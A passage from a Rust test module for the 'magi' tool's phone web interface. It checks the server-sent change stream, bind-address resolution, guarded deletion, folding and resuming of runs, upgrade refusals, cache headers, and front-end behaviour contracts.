4467        );
4468        assert!(css.headers.contains("content-type: text/css"));
4469        assert!(js.headers.contains("content-type: text/javascript"));
4470        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
4471    }
4472
4473    #[tokio::test]
4474    async fn the_change_stream_announces_the_current_revisions_on_connect() {
4475        let f = Fixture::start().await;
4476
4477        let mut socket = tokio::net::TcpStream::connect(f.addr)
4478            .await
4479            .expect("connect");
4480        socket
4481            .write_all(
4482                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
4483            )
4484            .await
4485            .expect("write request");
4486
4487        // Read until the first event arrives rather than to end of stream: the
4488        // stream is endless by design, which is the point of the route.
4489        let mut seen = String::new();
4490        let mut buf = [0u8; 1024];
4491        while !seen.contains("event: change") {
4492            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
4493                .await
4494                .expect("the stream must speak within five seconds")
4495                .expect("read");
4496            assert!(read > 0, "the server closed the change stream: {seen}");
4497            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
4498        }
4499
4500        assert!(
4501            seen.to_lowercase()
4502                .contains("content-type: text/event-stream"),
4503            "the browser only reconnects automatically for a real SSE stream: {seen}"
4504        );
4505        let data = seen
4506            .lines()
4507            .find_map(|l| l.strip_prefix("data:"))
4508            .expect("a data line");
4509        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
4510        assert!(
4511            payload["queue_rev"].is_u64()
4512                && payload["runs_rev"].is_u64()
4513                && payload["questions_rev"].is_u64()
4514                && payload["chats_rev"].is_u64()
4515                && payload["loop_rev"].is_u64(),
4516            "the client needs one revision per store to know what to refetch, \
4517             and `chats_rev` is the only notification a slow interview gets - \
4518             a phone whose radio slept through a turn learns about it here, as \
4519             does one whose operator started the loop from another device: \
4520             {payload}"
4521        );
4522
4523        // The front end re-polls health on a timer and on wake, and takes the
4524        // revisions from that answer whenever the stream is not up. So health
4525        // has to carry every key the stream carries: a phone on a link that
4526        // will not hold an SSE connection is exactly the phone that must still
4527        // notice a question, and a missing key there is not a 500 but a UI
4528        // that quietly stops updating.
4529        let health = f.get("/api/health").await.json();
4530        for key in [
4531            "queue_rev",
4532            "runs_rev",
4533            "questions_rev",
4534            "chats_rev",
4535            "loop_rev",
4536        ] {
4537            assert!(
4538                health[key].is_u64(),
4539                "health is the change stream's fallback and is missing `{key}`: {health}"
4540            );
4541        }
4542    }
4543
4544    #[test]
4545    fn bind_reads_back_from_the_spelling_the_cli_prints() {
4546        // The CLI shows the default in `--help` and parses whatever comes
4547        // back, so the two directions have to agree or `--bind auto` breaks
4548        // the moment someone copies the help text.
4549        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
4550            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
4551        }
4552        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
4553        assert!("everywhere".parse::<Bind>().is_err());
4554    }
4555
4556    #[test]
4557    fn an_explicit_bind_address_is_taken_verbatim() {
4558        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
4559
4560        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
4561
4562        assert_eq!(addr, asked);
4563        assert!(
4564            warning.is_none(),
4565            "an operator who named an address gets no lecture"
4566        );
4567    }
4568
4569    #[test]
4570    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
4571        let (addr, warning) = resolve_bind(&Bind::Auto);
4572
4573        // This has to hold on a CI runner with no `tailscale` and on a dev box
4574        // with one, so the invariant asserted is the one shared by both
4575        // outcomes: the address is either a real tailnet address offered
4576        // without comment, or loopback with an explanation. What must never
4577        // happen is a silent fallback - an operator told "listening on
4578        // 127.0.0.1" with no reason would go looking for a firewall.
4579        match addr {
4580            IpAddr::V4(ip) if is_tailnet(&ip) => {
4581                assert!(warning.is_none(), "a tailnet address needs no warning");
4582            }
4583            other => {
4584                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
4585                let warning = warning.expect("a fallback has to explain itself");
4586                assert!(
4587                    warning.contains("127.0.0.1") && warning.contains("local-only"),
4588                    "the warning says what happened and what it costs: {warning}"
4589                );
4590            }
4591        }
4592    }
4593
4594    #[test]
4595    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
4596        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
4597        // boundary cases are what stop us binding to some other tool's idea of
4598        // an address.
4599        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
4600        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
4601        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
4602        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
4603        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
4604    }
4605
4606    #[test]
4607    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
4608        let ids = vec![
4609            "20260902-140501-aaaa".to_owned(),
4610            "20260902-140502-aabb".to_owned(),
4611        ];
4612
4613        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
4614        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
4615        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
4616
4617        assert_eq!(missing.status, StatusCode::NOT_FOUND);
4618        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
4619        assert_eq!(short, "20260902-140502-aabb");
4620    }
4621    #[tokio::test]
4622    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
4623        // The prompt tells agents to reference attachments by bare filename.
4624        // A document served at `.../panel` resolves `shot.png` against its own
4625        // directory, i.e. `.../shot.png`, which is not the asset route - so a
4626        // panel written exactly as instructed showed broken images. Caught by
4627        // looking at a real one in a browser, not by reading the code.
4628        let fx = Fixture::start().await;
4629        let id = panel(
4630            &fx,
4631            "<img src=\"shot.png\">",
4632            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
4633        );
4634
4635        // The frame's own URL ends in a filename, so its siblings are reachable.
4636        let doc = fx
4637            .get(&format!("/api/questions/{id}/panel/index.html"))
4638            .await;
4639        assert_eq!(doc.status, 200, "{}", doc.body);
4640        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
4641
4642        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
4643        assert_eq!(sibling.status, 200, "{}", sibling.body);
4644        assert_eq!(sibling.header("content-type"), Some("image/png"));
4645        assert_eq!(
4646            sibling.header("content-security-policy"),
4647            Some(PANEL_CSP),
4648            "the sibling route must carry the same policy as the asset route"
4649        );
4650
4651        // The original spelling keeps working: HEAD on it is how the front end
4652        // decides whether to mount a frame at all.
4653        assert_eq!(
4654            fx.head(&format!("/api/questions/{id}/panel")).await.status,
4655            200
4656        );
4657    }
4658
4659    #[test]
4660    fn runs_revision_moves_when_deleting_an_older_run() {
4661        let temp = TempDir::new().expect("tempdir");
4662        let runs = temp.path().join("runs");
4663        std::fs::create_dir_all(&runs).expect("create runs dir");
4664
4665        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
4666
4667        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
4668        std::thread::sleep(Duration::from_millis(10));
4669        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
4670
4671        let rev_before = runs_revision(&runs);
4672        assert!(rev_before > 0);
4673
4674        let old_dir = runs.join("20260901-100000-old1");
4675        std::fs::remove_dir_all(&old_dir).expect("remove old run");
4676
4677        let rev_after = runs_revision(&runs);
4678        assert_ne!(
4679            rev_before, rev_after,
4680            "deleting an older run must change the revision so other clients see the deletion"
4681        );
4682    }
4683
4684    #[tokio::test]
4685    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
4686        let fx = Fixture::start().await;
4687        let q = fx.queue();
4688
4689        // 1. A queued task with runs attached can be deleted.
4690        let mut t1 = Task::new(
4691            "Task 1".to_owned(),
4692            "Instruction 1".to_owned(),
4693            PathBuf::from("/repo"),
4694            Source::Human,
4695        );
4696        let run_id = "20260901-000000-r111";
4697        t1.runs.push(run_id.to_owned());
4698        write_run(&fx.runs(), run_id, RunStatus::Merged);
4699        q.put(&mut t1).expect("put t1");
4700
4701        // Delete by short id
4702        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
4703        assert_eq!(res.status, 204);
4704        assert!(res.body.is_empty(), "204 No Content has no body");
4705        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
4706        assert!(
4707            fx.runs().join(run_id).exists(),
4708            "run directory must not be deleted when its task is deleted"
4709        );
4710
4711        // 2. A task a live daemon is running is refused with 409.
4712        let mut t2 = Task::new(
4713            "Task 2".to_owned(),
4714            "Instruction 2".to_owned(),
4715            PathBuf::from("/repo"),
4716            Source::Human,
4717        );
4718        t2.status = TaskStatus::Running;
4719        q.put(&mut t2).expect("put t2");
4720        let mut beat = crate::daemon::Status::new();
4721        beat.current = Some(crate::daemon::Current {
4722            task: t2.id.clone(),
4723            run: "20260901-000000-r222".to_owned(),
4724        });
4725        beat.updated_at = jiff::Timestamp::now();
4726        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
4727            .expect("publish a heartbeat");
4728        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
4729        assert_eq!(res.status, 409);
4730        assert!(
4731            res.json()["error"]
4732                .as_str()
4733                .unwrap()
4734                .contains("live daemon")
4735        );
4736        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
4737
4738        // 3. The same `running` status and an orphaned lock, with no daemon
4739        // behind either, is a leftover and deletable. Before this the phone
4740        // refused it for good: the status never changes on its own and
4741        // nothing drops a lock whose process is gone.
4742        // The daemon is killed: the file stays, the heartbeat stops.
4743        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
4744        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
4745            .expect("leave a stale heartbeat");
4746        let mut t3 = Task::new(
4747            "Task 3".to_owned(),
4748            "Instruction 3".to_owned(),
4749            PathBuf::from("/repo"),
4750            Source::Human,
4751        );
4752        t3.status = TaskStatus::Running;
4753        q.put(&mut t3).expect("put t3");
4754        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
4755        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
4756        assert_eq!(res.status, 204);
4757        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
4758        assert!(
4759            q.claim(&t3.id).is_ok(),
4760            "the stale lock went with it, so the id is claimable again"
4761        );
4762
4763        // 4. Missing id returns 404
4764        let res = fx.delete("/api/queue/nonexistent").await;
4765        assert_eq!(res.status, 404);
4766    }
4767
4768    #[tokio::test]
4769    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
4770        let fx = Fixture::start().await;
4771        let runs = fx.runs();
4772
4773        // 1. Finished and folded run can be deleted along with artifacts
4774        let run_id = "20260901-000000-fold";
4775        let mut state = RunState::new(
4776            PathBuf::from("/repo"),
4777            "main".to_owned(),
4778            "abc".to_owned(),
4779            "instruction".to_owned(),
4780            Config::default(),
4781        );
4782        state.id = run_id.to_owned();
4783        state.status = RunStatus::Merged;
4784        state.candidates.push(crate::run::Candidate {
4785            index: 0,
4786            label: 'A',
4787            agent: "a".to_owned(),
4788            branch: "b".to_owned(),
4789            worktree: PathBuf::from("/w"),
4790            summary: String::new(),
4791            stat: String::new(),
4792            files: 1,
4793            commits: 1,
4794            empty: false,
4795            failed: None,
4796            duration_ms: 0,
4797            folded: true,
4798        });
4799        let dir = runs.join(run_id);
4800        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
4801        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
4802            .expect("write artifact");
4803        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
4804            .expect("write run.json");
4805
4806        // Delete by short id
4807        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
4808        assert_eq!(res.status, 204);
4809        assert!(res.body.is_empty(), "204 has no body");
4810        assert!(!dir.exists(), "run directory and artifacts must be deleted");
4811
4812        // 2. A run a live daemon is working on is refused with 409. The
4813        // heartbeat is what makes it refusable: an unfinished run with no
4814        // daemon behind it is a leftover from a killed process, and case 1
4815        // above would otherwise be impossible to tell apart from this one.
4816        let run_running = "20260901-000000-rung";
4817        write_run(&runs, run_running, RunStatus::Prep);
4818        let mut beat = crate::daemon::Status::new();
4819        beat.current = Some(crate::daemon::Current {
4820            task: "20260901-000000-task".to_owned(),
4821            run: run_running.to_owned(),
4822        });
4823        beat.updated_at = jiff::Timestamp::now();
4824        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
4825            .expect("publish a heartbeat");
4826        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
4827        assert_eq!(res.status, 409);
4828        assert!(
4829            res.json()["error"]
4830                .as_str()
4831                .unwrap()
4832                .contains("live daemon"),
4833            "the refusal must say who is holding it"
4834        );
4835        assert!(
4836            runs.join(run_running).exists(),
4837            "a run in flight keeps its directory"
4838        );
4839
4840        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
4841        let run_unfolded = "20260901-000000-unfd";
4842        let mut state2 = RunState::new(
4843            PathBuf::from("/repo"),
4844            "main".to_owned(),
4845            "abc".to_owned(),
4846            "instruction".to_owned(),
4847            Config::default(),
4848        );
4849        state2.id = run_unfolded.to_owned();
4850        state2.status = RunStatus::Ready;
4851        state2.candidates.push(crate::run::Candidate {
4852            index: 0,
4853            label: 'A',
4854            agent: "a".to_owned(),
4855            branch: "b".to_owned(),
4856            worktree: PathBuf::from("/w"),
4857            summary: String::new(),
4858            stat: String::new(),
4859            files: 1,
4860            commits: 1,
4861            empty: false,
4862            failed: None,
4863            duration_ms: 0,
4864            folded: false,
4865        });
4866        let dir2 = runs.join(run_unfolded);
4867        std::fs::create_dir_all(&dir2).expect("create dir2");
4868        std::fs::write(
4869            dir2.join("run.json"),
4870            serde_json::to_string(&state2).unwrap(),
4871        )
4872        .expect("write run.json");
4873
4874        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
4875        assert_eq!(res.status, 409);
4876        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
4877        assert!(dir2.exists(), "unfolded run directory is kept");
4878
4879        // 4. Missing id returns 404
4880        let res = fx.delete("/api/runs/nonexistent").await;
4881        assert_eq!(res.status, 404);
4882    }
4883
4884    #[test]
4885    fn web_ui_delete_contract_in_front_end() {
4886        // 1. API block has both delete endpoints
4887        assert!(APP_JS.contains("deleteRun:"));
4888        assert!(APP_JS.contains("deleteTask:"));
4889
4890        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
4891        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
4892            ..APP_JS.find("function renderRuns").unwrap()];
4893        assert!(!run_cards_slice.to_lowercase().contains("delete"));
4894
4895        // 3. Run detail has delete entry and reasons
4896        assert!(APP_JS.contains("renderRunDelete"));
4897        assert!(APP_JS.contains("runDeleteReason"));
4898        assert!(APP_JS.contains("magi fold"));
4899        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
4900
4901        // 4. Two-step delete arming and focus on Cancel
4902        assert!(APP_JS.contains("cancel.focus"));
4903        assert!(APP_JS.contains("armedRunDelete"));
4904        assert!(APP_JS.contains("armedDelete"));
4905
4906        // 5. Running task has disabled delete
4907        assert!(APP_JS.contains("disabled: status === \"running\""));
4908    }
4909
4910    #[tokio::test]
4911    async fn folding_from_the_phone_reports_what_it_removed() {
4912        let fx = Fixture::start().await;
4913        let runs = fx.runs();
4914
4915        // A run with no candidates has nothing to fold, which is a 200 with an
4916        // honest count rather than an error: the operator asked for the trees
4917        // to be gone and they are.
4918        let id = "20260901-000000-fold";
4919        write_run(&runs, id, RunStatus::Stalled);
4920        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
4921        assert_eq!(res.status, 200);
4922        assert_eq!(res.json()["removed_count"], 0);
4923        assert_eq!(res.json()["run"], id);
4924        assert!(
4925            runs.join(id).exists(),
4926            "a fold keeps the run's record; only the worktrees go"
4927        );
4928    }
4929
4930    #[tokio::test]
4931    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
4932        let fx = Fixture::start().await;
4933        let runs = fx.runs();
4934        let id = "20260901-000000-live";
4935        write_run(&runs, id, RunStatus::Implementing);
4936
4937        let mut beat = crate::daemon::Status::new();
4938        beat.current = Some(crate::daemon::Current {
4939            task: "20260901-000000-task".to_owned(),
4940            run: id.to_owned(),
4941        });
4942        beat.updated_at = jiff::Timestamp::now();
4943        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
4944            .expect("publish a heartbeat");
4945
4946        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
4947        assert_eq!(res.status, 409);
4948        assert!(
4949            res.json()["error"]
4950                .as_str()
4951                .unwrap()
4952                .contains("live daemon"),
4953            "folding under a running agent would pull its worktree away"
4954        );
4955    }
4956
4957    #[tokio::test]
4958    async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
4959        let fx = Fixture::start().await;
4960        let runs = fx.runs();
4961
4962        // Only a finished run and a failed one. An *interrupted* run - a
4963        // parked one, or one whose daemon was killed mid-node - is the case
4964        // resuming exists for: run 4043 sat at `reviewing` with the deck
4965        // saying it could not be resumed, which was the one state where
4966        // resuming was the only sensible answer.
4967        for (status, word) in [
4968            (RunStatus::Merged, "merged"),
4969            (RunStatus::Ready, "ready"),
4970            (RunStatus::Failed, "failed"),
4971        ] {
4972            let id = format!("20260901-000000-{}", &word[..4]);
4973            write_run(&runs, &id, status);
4974            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
4975            assert_eq!(res.status, 409, "{word} must not be resumable");
4976            let err = res.json()["error"].as_str().unwrap().to_owned();
4977            assert!(err.contains(word), "the refusal names the status: {err}");
4978        }
4979
4980        // And an interrupted run is accepted: 202, with the resume running in
4981        // the background. `Runner::resume` fails immediately here - the
4982        // fixture's run points at a repository that does not exist - which is
4983        // the point: the handler must not wait for it to find out.
4984        let mid = "20260901-000000-midf";
4985        write_run(&runs, mid, RunStatus::Reviewing);
4986        let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
4987        assert_eq!(res.status, 202, "an interrupted run is resumable");
4988    }
4989
4990    #[tokio::test]
4991    async fn resume_is_refused_while_the_loop_is_running() {
4992        let fx = Fixture::start().await;
4993        let runs = fx.runs();
4994        let stalled = "20260901-000000-stal";
4995        write_run(&runs, stalled, RunStatus::Stalled);
4996
4997        // The loop is busy with a *different* run, and that is still a refusal:
4998        // one competition at a time is the point, not one per run.
4999        let mut beat = crate::daemon::Status::new();
5000        beat.current = Some(crate::daemon::Current {
5001            task: "20260901-000000-task".to_owned(),
5002            run: "20260901-000000-othr".to_owned(),
5003        });
5004        beat.updated_at = jiff::Timestamp::now();
5005        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
5006            .expect("publish a heartbeat");
5007
5008        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
5009        assert_eq!(res.status, 409);
5010        let err = res.json()["error"].as_str().unwrap().to_owned();
5011        assert!(err.contains("othr"), "it names what the loop is on: {err}");
5012        assert!(err.contains("one competition at a time"), "{err}");
5013    }
5014
5015    #[test]
5016    fn a_run_cannot_be_resumed_twice_at_once() {
5017        let home = TempDir::new().expect("temp home");
5018        let ui = Ui::new(
5019            Queue::at(home.path().join("queue")),
5020            Questions::at(home.path().join("questions")),
5021            Chats::at(home.path().join("chats")),
5022            home.path().join("runs"),
5023            home.path().to_path_buf(),
5024            PathBuf::from("/repo"),
5025        );
5026        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
5027        let again = ui.begin_resume("20260901-000000-once");
5028        assert!(again.is_err(), "a second tap must not start a second graph");
5029        drop(first);
5030        assert!(
5031            ui.begin_resume("20260901-000000-once").is_ok(),
5032            "and the claim is released when the attempt ends"
5033        );
5034    }
5035
5036    #[test]
5037    fn refreshing_a_conversation_never_navigates_to_it() {
5038        // Reproduced on the deck: send a turn in one conversation, open
5039        // another, and ten seconds later the transcript on screen was the
5040        // first one while the address bar still named the second.
5041        // `tickWait`'s insurance calls `loadChat` for the *waiting* chat, and
5042        // `loadChat` opened by assigning `state.chatDetail`, so a refresh was
5043        // a navigation.
5044        let body = &APP_JS[APP_JS.find("async function loadChat(").expect("loadChat")
5045            ..APP_JS.find("async function startChat(").expect("startChat")];
5046        assert!(
5047            !body.contains("state.chatDetail = {"),
5048            "loadChat must not decide which conversation is on screen: {body}"
5049        );
5050        assert!(
5051            body.contains("if (state.chatDetail.id !== id) return;"),
5052            "it returns instead of drawing a chat the operator is not reading"
5053        );
5054
5055        // The turn still has to be settled from there, and before that check,
5056        // because the insurance exists for a reply that lands while the
5057        // operator is elsewhere - otherwise the wait strip runs forever.
5058        assert!(
5059            body.find("endTurn(id)") < body.find("if (state.chatDetail.id !== id) return;"),
5060            "settle the turn before the on-screen check"
5061        );
5062
5063        // Choosing the conversation on screen belongs to the router.
5064        let router = &APP_JS[APP_JS.find("function applyRoute(").expect("applyRoute")..];
5065        assert!(router.contains("state.chatDetail = { id: route.id, chat: null }"));
5066    }
5067
5068    #[tokio::test]
5069    async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
5070        let fx = Fixture::start().await;
5071        // Somebody else's `magi serve` owns the queue. Replacing this binary
5072        // would leave that process running an old one against the same
5073        // claims, which is worse than refusing.
5074        let mut beat = crate::daemon::Status::new();
5075        beat.pid = 4321;
5076        beat.updated_at = jiff::Timestamp::now();
5077        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
5078            .expect("publish a heartbeat");
5079
5080        let res = fx.post("/api/upgrade", None).await;
5081        assert_eq!(res.status, 409);
5082        let err = res.json()["error"].as_str().unwrap().to_owned();
5083        assert!(err.contains("4321"), "the refusal names the owner: {err}");
5084        assert!(err.contains("old one against the same queue"), "{err}");
5085    }
5086
5087    #[tokio::test]
5088    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
5089        let fx = Fixture::start().await;
5090        // The fixture's repo has no update config that resolves to a newer
5091        // release, so this is the "already current" path. It must answer 200
5092        // and leave the process alone: restarting for an upgrade that did not
5093        // happen parks the run in flight and drops every connection to pay
5094        // for nothing. A probe against a deck already on the newest build did
5095        // exactly that, which is how this case got its own branch.
5096        let res = fx.post("/api/upgrade", None).await;
5097        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
5098        let body = res.json();
5099        assert!(body["to"].is_null(), "there was no release to move to");
5100        assert!(body["parked"].is_null(), "and nothing was parked");
5101        assert!(
5102            body["detail"]
5103                .as_str()
5104                .unwrap()
5105                .contains("nothing restarted"),
5106            "{body:?}"
5107        );
5108    }
5109
5110    #[test]
5111    fn the_upgrade_button_arms_before_it_restarts_anything() {
5112        // It ends the process the operator is talking to, and a phone in a
5113        // pocket taps things. One tap arms, the second commits.
5114        assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
5115        assert!(APP_JS.contains("Replace the binary and restart?"));
5116        assert!(APP_JS.contains("function confirmed("));
5117        // Hidden when the loop is somebody else's, matching the 409 above.
5118        assert!(APP_JS.contains("show(upgradeBtn, !foreign)"));
5119        // A park waits for the node in flight, up to an hour for an implement
5120        // wave. Leaving the button reading "Upgrading…" for that long is the
5121        // same mistake as an error rendered off screen: it looks wedged.
5122        assert!(
5123            APP_JS.contains("Parking, then restarting"),
5124            "the button says what it is waiting for"
5125        );
5126        // And nothing to install must give the button back rather than
5127        // pretending a restart is coming.
5128        assert!(APP_JS.contains("if (!out.to)"));
5129    }
5130
5131    #[test]
5132    fn an_error_is_visible_from_where_the_button_is() {
5133        // The alert used to sit in the flow under the header. On a phone
5134        // scrolled 13 500 px down to a run's action sheet that is off screen,
5135        // so tapping Resume and being told "the loop is running run b455
5136        // right now" looked exactly like a button that did nothing.
5137        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
5138            ..APP_CSS.find(".alert-text").expect(".alert-text")];
5139        assert!(
5140            alert.contains("position: fixed"),
5141            "an error about the thing under your thumb has to be visible from \
5142             where your thumb is: {alert}"
5143        );
5144        assert!(
5145            alert.contains("z-index: 25"),
5146            "above the dock (20) and the run-actions FAB (15), so neither \
5147             buries it: {alert}"
5148        );
5149        assert!(
5150            alert.contains("var(--tap)"),
5151            "and clear of the dock and the home indicator: {alert}"
5152        );
5153        // The FAB sits at the same height on the right. An error that covered
5154        // it would hide the button the operator reaches for next.
5155        assert!(
5156            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
5157            "the FAB's column stays free: {alert}"
5158        );
5159    }
5160
5161    #[tokio::test]
5162    async fn an_older_attempt_says_what_replaced_it() {
5163        let fx = Fixture::start().await;
5164        let q = fx.queue();
5165        let runs = fx.runs();
5166        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
5167        write_run(&runs, first, RunStatus::Stalled);
5168        write_run(&runs, second, RunStatus::Blocked);
5169
5170        let mut t = Task::new(
5171            "one task".to_owned(),
5172            "do it".to_owned(),
5173            PathBuf::from("/repo"),
5174            Source::Human,
5175        );
5176        t.runs = vec![first.to_owned(), second.to_owned()];
5177        q.put(&mut t).expect("put");
5178
5179        // Two cards with the same title and no hint which is which was the
5180        // question: "why are there two of the same, one stalled and one
5181        // blocked?" The older one now names its replacement.
5182        let rows = fx.get("/api/runs").await.json();
5183        let by = |short: &str| -> Value {
5184            rows.as_array()
5185                .unwrap()
5186                .iter()
5187                .find(|r| r["short"] == short)
5188                .cloned()
5189                .unwrap_or(Value::Null)
5190        };
5191        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
5192        assert!(
5193            by("bbbb")["superseded_by"].is_null(),
5194            "the latest attempt is not superseded by anything"
5195        );
5196        // Front end: the note has to be rendered, not just carried.
5197        assert!(APP_JS.contains("run.superseded_by"));
5198        assert!(APP_JS.contains("Superseded by"));
5199    }
5200
5201    #[tokio::test]
5202    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
5203        let fx = Fixture::start().await;
5204        // No cache header at all meant browsers invented their own policy,
5205        // and one did: a phone went on showing "Candidates must be folded
5206        // before deleting. Run `magi fold` first." - deleted two releases
5207        // earlier - from a deck that no longer contained the sentence. The
5208        // button it named was right there, and unreachable.
5209        let js = fx.get("/app.js").await;
5210        assert_eq!(js.status, 200);
5211        let tag = js
5212            .header("etag")
5213            .expect("an etag to revalidate against")
5214            .to_owned();
5215        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
5216        assert_eq!(
5217            js.header("cache-control"),
5218            Some("no-cache, must-revalidate"),
5219            "the phone has to ask every time"
5220        );
5221
5222        // And the asking has to be cheap, or `must-revalidate` just means
5223        // "send the whole interface on every load".
5224        let again = fx
5225            .get_with("/app.js", &[("if-none-match", tag.as_str())])
5226            .await;
5227        assert_eq!(
5228            again.status, 304,
5229            "a deck it already has costs one round trip"
5230        );
5231        assert!(again.body.is_empty(), "304 carries no body");
5232
5233        // A weakened tag from a proxy still matches; a different build does
5234        // not, which is the case that has to deliver the new interface.
5235        let weak = fx
5236            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
5237            .await;
5238        assert_eq!(weak.status, 304);
5239        let stale = fx
5240            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
5241            .await;
5242        assert_eq!(stale.status, 200, "an older build must be replaced");
5243        assert!(stale.body.contains("renderRunActions"));
5244    }
5245
5246    #[test]
5247    fn the_deck_never_sends_the_operator_to_a_terminal() {
5248        // The whole point of the phone UI is that a terminal is not needed.
5249        // The delete control used to answer with "Run `magi fold` first."
5250        assert!(
5251            !APP_JS.contains("Run `magi fold` first"),
5252            "the deck must offer the fold, not prescribe a shell command"
5253        );
5254        assert!(APP_JS.contains("foldRun:"));
5255        assert!(APP_JS.contains("resumeRun:"));
5256        assert!(APP_JS.contains("renderRunActions"));
5257
5258        // Folding is destructive and armed in two steps, like deleting.
5259        assert!(APP_JS.contains("armedFold"));
5260        assert!(APP_JS.contains("Yes, fold worktrees"));
5261
5262        // And the copy has to say that the two actions are opposites, because
5263        // folding throws away exactly what a resume would continue from.
5264        assert!(APP_JS.contains("can no longer be resumed"));
5265    }
5266
5267    #[test]
5268    fn a_finished_run_explains_itself_with_its_own_last_line() {
5269        // The deck used to answer "why did this stop?" with a sentence chosen
5270        // by status alone. Run e633 stalled because two judges answered with
5271        // the wrong JSON shape and its card said "The panel collapsed on
5272        // agent quota" - with `quota: []` in the record and a quota-loss
5273        // counter right above it that correctly said nothing.
5274        assert!(
5275            !APP_JS.contains("collapsed on agent quota"),
5276            "a stall must not be explained by a cause the deck did not check"
5277        );
5278        assert!(
5279            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
5280            "and a block must not offer a guess with an `or` in it"
5281        );
5282
5283        // The reason it does have is `run.event`, which must reach finished
5284        // runs: gating it on movement hid the recorded truth at the one moment
5285        // the operator is reading the card to find out what happened.
5286        assert!(
5287            APP_JS.contains("setText(r.event, run.event || \"\")"),
5288            "the run's last line is rendered unconditionally"
5289        );
5290        assert!(
5291            !APP_JS.contains("moving && run.event"),
5292            "and never gated on the run still moving"
5293        );
5294
5295        // Quota keeps its own counter, fed by the number actually recorded.
5296        assert!(APP_JS.contains("lost to quota"));
5297    }
5298}